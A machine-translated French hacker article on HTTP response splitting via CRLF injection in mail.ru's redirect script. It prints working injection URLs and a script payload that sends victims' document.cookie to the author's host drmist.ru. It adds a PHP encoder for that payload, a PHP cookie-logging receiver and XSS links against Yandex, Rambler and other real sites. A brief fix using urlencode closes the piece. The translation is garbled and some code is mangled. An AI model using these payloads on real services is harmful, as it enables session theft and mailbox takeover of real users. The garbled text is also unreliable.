This page has been robot translated, sorry for typos if any. Original content here.

Vulnérabilité de fractionnement HTTP

L'article traite de l'application pratique d'une vulnérabilité appelée fractionnement HTTP

Un en-tête de base () sous un microscope

En parcourant l'immensité de l'Internet, nous voyons souvent l'URL de la forme http://anyhost.com/redirect.php?url=http://otherhost.com L'utilisateur simple d'esprit ne cesse de penser pendant longtemps, il clique simplement dessus et s'adresse à otherhost.com. Un utilisateur curieux substitue l'adresse URL à l'adresse de son hompagy, il est également convaincu de la courbure du script.
Outre la simplicité aussi curieuse sur Internet vivent des utilisateurs plutôt curieux. Ils conduisent un lien dans AccessDiver également commencer à apprendre le travail du script.

1. L'essence du bug.
2. Application pratique.
3. Localisation de la prévalence de l'erreur.
4. Moyens de protection

pour tankmen, je suggère que AccessDiver est "Hakre", comme il est d'usage d'exprimer dans une nation, une arme. Télécharger, il est autorisé sur le projet hors site . Au moment de la rédaction de ce texte, la dernière version de l'utilitaire était la 4.173. Le programme est surtout connu pour sa fonction HTTP Debuger. Vous pouvez l'utiliser en allant en mode expert, en sélectionnant également la fonction appropriée dans le menu Outils (F4 puis Ctrl + F9 - en fonction de la version des touches peut être modifiée). Ensuite, nous ne soulignerons pas le soin apporté à son réglage, tout écolier fera face au plongeur.

pour les expériences, nous avons choisi mail.ru , car il s'agit du service de messagerie le plus connu du runet. Le lecteur sera particulièrement intéressé par le bogue de ce projet;) Allez sur le lien http://go.mail.ru/urltracker?url=http:/ /www.security-teams.net . Nous serons jeté sur le portail le plus choisi pour la sécurité informatique;). Nous ajoutons le site aux favoris et retournons à l'e-mail. Écrivez le lien qui nous intéresse dans le champ Adresse HTTP, mettez Mode égal à Get, cliquez sur Connecter.
Nous verrons les en-têtes HTTP renvoyés par le serveur, comme dans la capture d'écran:



Faisons attention à la ligne soulignée. Ayant rencontré dans les en-têtes Lieu:, le navigateur nous transporte inconditionnellement vers l'URL spécifiée. Par conséquent, nous pouvons pousser l'utilisateur avec un lien, comme s'il s'agissait d'un courrier, mais il n'a pas accès au courrier. Tout cela est merveilleux, mais en pratique, rien ne peut s'aliéner.

Faisons attention au fait que les lignes dans l'en-tête sont séparées par deux caractères 0Dh 0Ah . Et si vous les affectez à la fin du lien? Voyons ce qui va renvoyer le serveur à l'objection à la requête http://go.mail.ru/urltracker?url=null%0D%0Ahacked_by:%20drmist :



Comme c'est intéressant Nous pouvons donc forcer le serveur à distribuer presque tous les en-têtes. Par exemple, modifiez les cookies personnalisés. Mais, encore une fois, ce n'est toujours pas aussi intéressant que ce qui nous attend. Il est intéressant que les titres soient séparés du corps de l'acte par la séquence 0Dh 0Ah 0Dh 0Ah . Sommes-nous capables de donner une page complètement? Nous entrons http://go.mail.ru/urltracker?url=% 0D% 0A% 0D% 0A <script> alert (document.cookie); </ script> <! - regarder aussi:



Tout ce qui est en jaune est le texte du document lui-même. Si JavaScript est activé dans le navigateur, en cliquant sur le lien, nous verrons la boîte de message contenant nos cookies. Pour commettre une attaque XSS, il vous faut:
1) Composez une page du type <script> document.location = 'http://drmist.ru/log.php?'+document.cookie; </ script>
2) Traduisez-le en encodage URL en utilisant le script:

<? php
$ url = "http://go.mail.ru/urltracker?url=";
$ s = "<script> document.location = 'http: //drmist.ru/log.php?'";
$ s. = "+ document.cookie; </ script>";
$ res = "";
pour ($ i = 0; $ i <strlen ($ s); $ i ++)
{
$ res. = "%";
$ t = ord ($ s [$ i]);
if ($ t <16)
$ res. = "0";
$ res. = dechex ($ t);
}

echo $ url. "% 0d% 0a% 0d% 0a". $ res;
?>

Nous obtenons:
http://go.mail.ru/urltracker?url=%0d%0a%0d%0a%3c%73%63 ... et ainsi de suite. (**)

3) écrire le script log.php également le remplir avec drmist.ru:
<? php
$ fid = fopen ("../log.txt", "a");
fputs ($ fid, $ _SERVER ["QUERY_STRING"]. "\ r \ r \ r");
fclose ($ fid);
en-tête ("Emplacement: http://www.mail.ru");
?>

Maintenant, il est permis de créer une référence magique (**) pour acquérir les cookies de la victime.
Ils sont autorisés à faire beaucoup de choses utiles, par exemple, pour avoir accès au courrier, mais à ce sujet à un autre moment, nous avons également été distraits du sujet principal.

Bien sûr, vous n’avez pas besoin de vous rendre au courrier électronique, c’est une ressource factice, merde, et vous ne pouvez finalement pas utiliser notre sandbox. Il est fréquent que toutes les personnes commettent une erreur, mais les administrateurs de mail.ru sont moins susceptibles de commettre des erreurs moins souvent. Les vrais bugs restent toujours. , les gens se taisent à leur sujet à cause de la cupidité, mais à cause de la crainte d’une réaction inadéquate de l’administration à leur conclusion, qui, selon les statistiques, a sa place. Heureusement, la présence de XSS ne garantit toujours pas l'accès à la boîte aux lettres. Je suis sûr que le bug sera couvert. Au plus tard - après 2 jours. Vulnérable non seulement mail.ru. Je vous recommande fortement de lire:
http://yandex.ru/redir/?url=[XSS]
http://rambler.ru//click?_URL=[XSS]

Franchement, nous avons été surpris à l'époque où j'ai appris que de telles vulnérabilités avaient été écrites sur securitylab.ruil y a 3 ans (voir Introduction de CRLF dans l'en-tête de fonction PHP du 10.09.2002), mais quant à l'utilisation pratique du bogue Je ne l'ai jamais entendu, j'ai trouvé le sujet pertinent. Par ce bla bla, il est permis de nommer des bogues dans Yandex, et aussi de les envoyer par courrier.

Corriger l'erreur n'est pas difficile. Laissez le script vulnérable manger:

<?
if (! isset ($ url))
$ url = "http://www.mail.ru";

en-tête ("Emplacement: $ url");

?>

Nous le rendons invulnérable:

en-tête ("Location:" .urlencode ($ url));

Si une redirection est prévue uniquement dans le site, il est préférable de le faire:

en-tête ("Emplacement: http://www.mail.ru/".urlencode($url));

C'est probablement tout ce que nous voulions dire. Laissez-moi ensuite suggérer quelques autres XSS:

http://talk.mail.ru/article.html?ID=31836089&page=1 "> <h1> XSS </ h1>
http://www.pochta.ru/?lng=en "<h1> XSS </ h1>